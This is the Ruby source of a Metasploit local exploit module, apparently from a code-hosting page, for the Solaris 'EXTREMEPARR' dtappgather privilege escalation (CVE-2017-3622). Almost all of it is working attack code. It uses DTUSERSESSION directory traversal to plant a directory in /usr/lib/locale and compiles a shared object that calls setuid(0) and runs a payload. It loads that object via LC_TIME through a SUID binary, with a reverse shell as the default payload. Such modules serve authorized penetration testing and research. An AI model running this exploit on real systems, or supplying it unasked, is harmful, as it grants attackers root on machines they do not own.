Path: blob/master/modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Solaris::Priv10include Msf::Post::Solaris::System11include Msf::Post::Solaris::Kernel12include Msf::Exploit::EXE13include Msf::Exploit::FileDropper14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => "Solaris 'EXTREMEPARR' dtappgather Privilege Escalation",21'Description' => %q{22This module exploits a directory traversal vulnerability in the23`dtappgather` executable included with Common Desktop Environment (CDE)24on unpatched Solaris systems prior to Solaris 10u11 which allows users25to gain root privileges.2627dtappgather allows users to create a user-owned directory at any28location on the filesystem using the `DTUSERSESSION` environment29variable.3031This module creates a directory in `/usr/lib/locale`, writes a shared32object to the directory, and runs the specified SUID binary with the33shared object loaded using the `LC_TIME` environment variable.3435This module has been tested successfully on:3637Solaris 9u7 (09/04) (x86);38Solaris 10u1 (01/06) (x86);39Solaris 10u2 (06/06) (x86);40Solaris 10u4 (08/07) (x86);41Solaris 10u8 (10/09) (x86);42Solaris 10u9 (09/10) (x86).43},44'References' => [45['BID', '97774'],46['CVE', '2017-3622'],47['EDB', '41871'],48['URL', 'https://github.com/HackerFantastic/Public/blob/master/exploits/dtappgather-poc.sh'],49['URL', 'http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html']50],51'Notes' => {52'Stability' => [CRASH_SAFE],53'SideEffects' => [],54'Reliability' => [],55'AKA' => ['EXTREMEPARR']56},57'License' => MSF_LICENSE,58'Author' => [59'Shadow Brokers', # exploit60'Hacker Fantastic', # dtappgather-poc.sh61'bcoles' # Metasploit62],63'DisclosureDate' => '2017-04-24',64'Privileged' => true,65'Platform' => ['solaris', 'unix'],66'Arch' => [ARCH_X86, ARCH_X64, ARCH_SPARC],67'Targets' => [['Auto', {}]],68'SessionTypes' => ['shell', 'meterpreter'],69'DefaultOptions' => {70'PAYLOAD' => 'solaris/x86/shell_reverse_tcp',71'WfsDelay' => 10,72'PrependFork' => true73},74'DefaultTarget' => 075)76)77register_options [78# Some useful example SUID executables:79# * /usr/bin/at80# * /usr/bin/cancel81# * /usr/bin/chkey82# * /usr/bin/lp83# * /usr/bin/lpset84# * /usr/bin/lpstat85# * /usr/lib/lp/bin/netpr86# * /usr/sbin/lpmove87OptString.new('SUID_PATH', [true, 'Path to suid executable', '/usr/bin/at']),88OptString.new('DTAPPGATHER_PATH', [true, 'Path to dtappgather executable', '/usr/dt/bin/dtappgather'])89]90register_advanced_options [91OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])92]93end9495def suid_bin_path96datastore['SUID_PATH']97end9899def dtappgather_path100datastore['DTAPPGATHER_PATH']101end102103def mkdir(path)104vprint_status "Creating directory '#{path}'"105cmd_exec "mkdir -p '#{path}'"106register_dir_for_cleanup path107end108109def upload(path, data)110print_status "Writing '#{path}' (#{data.size} bytes) ..."111rm_f path112write_file path, data113register_file_for_cleanup path114end115116def upload_and_compile(path, data)117upload "#{path}.c", data118119output = cmd_exec "PATH=$PATH:/usr/sfw/bin/:/opt/sfw/bin/:/opt/csw/bin gcc -fPIC -shared -g -lc -o #{path} #{path}.c"120unless output.blank?121print_error output122fail_with Failure::Unknown, "#{path}.c failed to compile"123end124125register_file_for_cleanup path126end127128def symlink(link_target, link_name)129vprint_status "Symlinking #{link_target} to #{link_name}"130rm_f link_name131cmd_exec "ln -sf #{link_target} #{link_name}"132register_file_for_cleanup link_name133end134135def check136[dtappgather_path, suid_bin_path].each do |path|137unless setuid? path138vprint_error "#{path} is not setuid"139return CheckCode::Safe140end141vprint_good "#{path} is setuid"142end143144unless has_gcc?145vprint_error 'gcc is not installed'146return CheckCode::Safe147end148vprint_good 'gcc is installed'149150version = kernel_release151if version.to_s.eql? ''152vprint_error 'Could not determine Solaris version'153return CheckCode::Detected154end155156unless Rex::Version.new(version).between? Rex::Version.new('5.7'), Rex::Version.new('5.10')157vprint_error "Solaris version #{version} is not vulnerable"158return CheckCode::Safe159end160vprint_good "Solaris version #{version} appears to be vulnerable"161162CheckCode::Appears163end164165def exploit166if is_root?167fail_with Failure::BadConfig, 'Session already has root privileges'168end169170unless writable? datastore['WritableDir']171fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"172end173174# Remove appmanager directory and contents175appmanager_path = '/var/dt/appconfig/appmanager'176vprint_status "Cleaning appmanager directory #{appmanager_path}"177cmd_exec "chmod -R 755 #{appmanager_path}/*"178cmd_exec "rm -rf #{appmanager_path}/*"179rm_f appmanager_path180181# Create writable directory in /usr/lib/locale182locale_path = '/usr/lib/locale'183locale_name = rand_text_alphanumeric 5..10184new_dir = "#{locale_path}/#{locale_name}"185vprint_status "Creating directory #{new_dir}"186depth = 3187cmd_exec 'DTUSERSESSION=. /usr/dt/bin/dtappgather'188depth.times do189cmd_exec 'DTUSERSESSION=.. /usr/dt/bin/dtappgather'190end191symlink locale_path, appmanager_path192cmd_exec "DTUSERSESSION=#{locale_name} #{dtappgather_path}"193unless cmd_exec("ls -al #{locale_path} | grep #{locale_name}").to_s.include? locale_name194fail_with Failure::NotVulnerable, "Could not create directory #{new_dir}"195end196197print_good "Created directory #{new_dir}"198register_dir_for_cleanup new_dir199200rm_f appmanager_path201cmd_exec "chmod 755 #{new_dir}"202203# Upload and compile shared object204base_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"205mkdir base_path206207payload_name = ".#{rand_text_alphanumeric 5..10}"208payload_path = "#{base_path}/#{payload_name}"209210so = <<-EOF211void __attribute__((constructor)) cons() {212setuid(0);213setgid(0);214execle("#{payload_path}", "", 0, 0);215_exit(0);216}217EOF218219so_name = ".#{rand_text_alphanumeric 5..10}"220so_path = "#{base_path}/#{so_name}"221upload_and_compile so_path, so222223vprint_status "Writing shared objects to #{new_dir}"224cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.2'"225register_file_for_cleanup "#{new_dir}/#{locale_name}.so.2"226cmd_exec "cp '#{so_path}' '#{new_dir}/#{locale_name}.so.3'"227register_file_for_cleanup "#{new_dir}/#{locale_name}.so.3"228229# Upload and execute payload230upload payload_path, generate_payload_exe231cmd_exec "chmod +x #{payload_path}"232233print_status 'Executing payload...'234cmd_exec "LC_TIME=#{locale_name} #{suid_bin_path} & echo "235end236end237238239